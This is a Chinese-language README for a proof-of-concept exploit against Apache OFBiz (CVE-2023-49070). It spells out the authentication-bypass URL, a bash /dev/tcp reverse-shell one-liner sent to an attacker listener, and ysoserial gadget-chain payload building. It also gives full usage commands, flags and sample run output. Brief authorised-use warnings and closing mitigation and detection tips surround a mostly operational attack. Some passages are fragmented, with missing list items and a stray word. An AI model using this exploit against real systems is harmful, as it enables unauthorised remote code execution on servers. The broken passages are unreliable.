Apache OFBiz XML-RPC 预认证反序列化 RCE 的 PoC,编号为
CVE-2023-49070:一条认证绕过路径解锁了遗留的
/webtools/control/xmlrpc 端点,该端点会反序列化攻击者
通过 XML-RPC <serializable> 参数夹带的受控 Java 对象。
⚠️ 仅供授权安全测试使用。 仅可对您拥有或获得明确授权测试的 系统运行此工具(CTF/实验环境、已签署授权范围的渗透项目等)。 未经授权访问计算机系统在大多数司法管辖区均属违法。
Apache OFBiz 的 view-map 认证通常会保护
/webtools/control/xmlrpc。受影响的版本(< 18.12.10)可以通过
在路径后附加分号及特定查询参数来欺骗系统跳过该检查:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
一旦可达,该端点便接受 XML-RPC 请求。Apache XML-RPC 的
Java 实现支持 <serializable> 扩展类型:该元素的内容会被
base64 解码并直接传入 ObjectInputStream.readObject() —— 典型的
不安全 Java 反序列化。若 classpath 上存在合适的 gadget 链(此 PoC
默认通过 ysoserial 使用
CommonsBeanutils1),便可直接转化为以运行 OFBiz 的操作系统
用户身份执行远程命令。
这与早前的 OFBiz XML-RPC 反序列化 CVE 属于同一类漏洞 (例如 CVE-2023-51467 的认证绕过姊妹漏洞);OFBiz 在该端点上 反复出现认证绕过 + 反序列化的组合模式,因此在依赖此 PoC 之前, 请核实适用于您目标的确切 CVE/版本范围。
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 反向 shell,
对其进行 base64 编码,并将其包装为
bash -c 'echo ... | base64 -d | bash' 单行命令(避免在
后续执行链中被 shell 元字符破坏)。ysoserial 构建序列化 gadget 链
(默认 CommonsBeanutils1,可配置),用于执行该单行命令。<serializable> 载荷。TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y。No such service)—— 这是载荷已被处理的信号,
而非代码执行的证据。它无法确认您是否获得了 shell —— 一旦反序列化执行,OFBiz 无论
如何都会返回通用错误(XML-RPC 方法本身 Dns 并不作为真实服务
存在)。请务必保持监听器开启并检查它,而不仅仅是查看脚本的
控制台输出。
pip install requests --break-system-packagesysoserial-all.jar —— 请自行从
frohoff/ysoserial 构建
(mvn clean package -DskipTests)或获取发布版 jar。此处未捆绑
—— 它是一个大型第三方工具,拥有自己的许可证。python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
请先启动监听器:
nc -lvnp 4444
| Flag | Default | Description |
|---|---|---|
--target | (required) | 目标基础 URL,例如 https://ofbiz.target.tld |
--lhost | (required) | 您的监听器 IP |
--lport | (required) | 您的监听器端口 |
--ysoserial | ysoserial-all.jar | ysoserial jar 的路径 |
--gadget | CommonsBeanutils1 | 要使用的 ysoserial gadget 链 |
--java-bin | java | 要调用的 Java 二进制文件 |
--timeout | 15 | HTTP 请求超时(秒) |
--proxy | (none) | 可选的 HTTP(S) 代理,例如用于通过 Burp 路由 |
CommonsBeanutils1 是 OFBiz 的经典选择(其 classpath 上自带
commons-beanutils),但如果它未能触发,OFBiz 捆绑的库也支持
其他链。只需替换 --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc,如果您并未主动使用
XML-RPC 集成;webtools 组件总体上是常见攻击目标,除非有充分
理由,否则不应面向互联网。; 技巧。ObjectInputFilter,自 JEP 290 / Java 9+ 起可用)阻止已知
gadget 链类被实例化,无论哪个端点触发反序列化。<serializable> 元素的发往 */control/xmlrpc*
的 POST 请求、来自 OFBiz 主机的异常出站连接,以及运行 OFBiz
的 Java 进程所派生的子进程。MIT —— 参见 LICENSE。